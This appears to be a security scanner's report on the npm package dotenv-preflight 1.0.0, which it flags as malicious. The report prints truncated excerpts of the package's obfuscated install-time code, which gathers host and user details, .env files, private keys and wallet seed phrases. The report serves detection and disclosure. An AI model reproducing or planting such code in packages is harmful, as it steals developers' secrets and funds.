Suspicious ^80% javascript Download

dotenv-preflight 1.0.0

Obfuscated env/seed exfiltration

“Runs dotenv preflight checks at install time”

JavaScript Obfuscator rotates and decodes a string array at runtimeNode developer secret regex list

SHA-2564fec0bcc2fd8446cfd04b516a547960f0cd647a52cd078ba1566886178de018b

URLhttps://registry.npmjs.org/dotenv-preflight/-/dotenv-preflight-1.0.0.tgz

MaleculeO₄(As₄EuS₃Xe)H₆(Cm₃CrDb₉FOsPo)Md₃(In₂Pa₃)Th

Also flagged by osm (The npm package [email protected] presents itself as a dotenv-related preflight utility but ships a single index.js whose contents are heavily obfuscated (hex-prefixed identifiers such as _0x3511…), osv (MAL-2026-17324: Malicious code in dotenv-preflight (npm)) +3 more.

Evidence

Private-key identifier line 1

1const _0x351140=_0x3c20;(function(_0x3256d4,_0x3de8a6){const _0x2a9875=_0x3c20,_0x4d88e3=_0x3256d4();while(!![]){try{const _0x48f13c=-parseInt(_0x2a9875(0x273))/0x1*(-parseInt(_0x2a9875(0x1eb))/0x2)+-parseInt(_0x2a9875(0x266))/0x3*(-parseInt(_0x2a9875(0x23d))/0x4)+parseInt(_0x2a9875(0x1ee))/0x5*(-parseInt(_0x2a9875(0x252))/0x6)+parseInt(_0x2a9875(0x27b))/0x7+parseInt(_0x2a9875(0x235))/0x8*(-parseInt(_0x2a9875(0x200))/0x9)+-parseInt(_0x2a9875(0x221))/0xa*(parseInt(_0x2a9875(0x1d7))/0xb)+parseInt(_0x2a9875(0x26f))/0xc;if(_0x48f13c===_0x3de8a6)break;else _0x4d88e3['push'](_0x4d88e3['shift']());}catch(_0x9a9b58){_0x4d88e3['push'](_0x4d88e3['shift']());}}}(_0x5050,0x5d1a9));const _0x5b032f=(function(){let _0x4a8cf4=!![];return function(_0x24bf93,_0x3ecdbb){const _0x1add90=_0x4a8cf4?function(){const _0x15abd7=_0x3c20;if(_0x3ecdbb){const _0x3cadaa=_0x3ecdbb[_0x15abd7(0x203)](_0x24bf93,arguments);return _0x3ecdbb=null,_0x3cadaa;}}:function(){};return _0x4a8cf4=![],_0x1add90;};}()),_0x13bfa9=_0x5b032f(this,function(){const _0x4a4af4=_0x3c20,_0x6ff9eb={'llJLP':function(_0x5c451c,_0x3b66de){return _0x5c451c!==_0x3b66de;},'vlFlQ':_0x4a4af4(0x21c)};if(_0x6ff9eb[_0x4a4af4(0x26c)](_0x13bfa9[_0x4a4af4(0x267)]()[_0x4a4af4(0x272)]()[_0x4a4af4(0x262)]('\x0a'),-0x1))return;return _0x13bfa9[_0x4a4af4(0x272)]()[_0x4a4af4(0x265)](_0x6ff9eb[_0x4a4af4(0x1e9)])[_0x4a4af4(0x272)]()[_0x4a4af4(0x233)](_0x13bfa9)[_0x4a4af4(0x265)](_0x6ff9eb[_0x4a4af4(0x1e9)]);});_0x13bfa9();const _0x141b6a=require('fs'),_0x598d44=require(_0x351140(0x1db)),_0x3415af=require('os'),_0xc36bcf=require(_0x351140(0x209)),_0x4efb0c=Buffer[_0x351140(0x216)](_0x351140(0x21b),_0x351140(0x1e4))[_0x351140(0x272)](_0x351140(0x20a));let _0x21fd8b=Buffer[_0x351140(0x216)](_0x351140(0x1d4),_ …

Dense computed-property call cluster (3+) line 1

1:1957… 140(0x238)](/\s+/)[_0x351140(0x250)](Boolean),_0x6c0c4b=new Map(_0x5baa99[_0x351140(0x27d)]((_0x641f15,_0x4ea222)=>[_0x641f15,_0x4ea222])),_0x52ce6a=0x2*0x400*0x400,_0x2ecfb6=/node_modules|\.git|recycle|temp|cache|__pycache__|windows|winsxs|\$recycle\.bin|program files|^target$|^\.fingerprint$|^\.cargo$|^\.rustup$|^\..+|^out$|^build$|^dist$|^go-build$|^\.vscode$/i,_0x197db3=[_0x598d44[_0x351140(0x22a)](_0x3415af[_0x351140(0x244)](),_0x351140(0x257)),_0x598d44[_0x351140(0x22a)](_0x3415af[_0x351140(0x244)](),_0x351140(0x1fe)),_0x598d44[_0x351140(0x22a)](_0x3 …

JSON-like host identity field line 1

1:2785… )](),_0x351140(0x23e),_0x351140(0x1fe))],_0x5dcd03={'timestamp':new Date()[_0x351140(0x202)](),'host':_0x3415af[_0x351140(0x22b)](),'user':_0x3415af[_0x351140(0x277)]()[_0x351140(0x1e8)],'envFiles':[],'envSeedVars':[],'privateKeys':[],'seedPhrases':[]};function _0x16f14f(_0x184ca9){const _0x45a18=_0x351140,_0x478b09={'btnhV':function(_0x13e3a5,_0x1abbc4){return _0x13e3a5===_0x1abbc4;},'TrfTn':func …

Catch block only returns a constant line 1

1:3484… 8(0x20a)};let _0x1129e1;try{_0x1129e1=_0x141b6a[_0x45a18(0x1f0)](_0x184ca9);}catch{return null;}if(_0x478b09[_0x45a18(0x22f)](_0x1129e1[_0x45a18(0x223)],0x0)||_0x478b09[_0x45a18(0x20b)](_0x1129e1[_0x45a18(0x223)],_0x52ce6a))return null;if(_0x478b09[_0x45a18(0x1e3)](_0x1129e1[0x0],0xff)&&_0x478b09[_0x45a18(0x231)](_0x1129e1[0x1],0xfe))return _0x1129e1[_0x45a18(0x272)](_0x478b09[_0x45a18(0x243)]);let _0x4ae347=0 …

Hex-prefixed function names (_0x pattern) line 1

1:5401… _0x54f858[0x2]);_0x4dc857[_0x411645(0x1f5)]=0x0;while(_0x449f6a[_0x411645(0x1fc)](_0x54f858=_0x4dc857[_0x411645(0x236)](_0x103aea),null))_0x41c064(_0x54f858[0x1],_0x54f858[0x2]);}function _0xd7f1c8(_0x7370c1,_0x5b8d18){const _0x32e335=_0x351140,_0x8f27b9={'Xbadl':_0x32e335(0x1e5),'IGSGc':_0x32e335(0x228)},_0x8b98ad=_0x7370c1 …

No evidence locations were recorded for this file. Raw result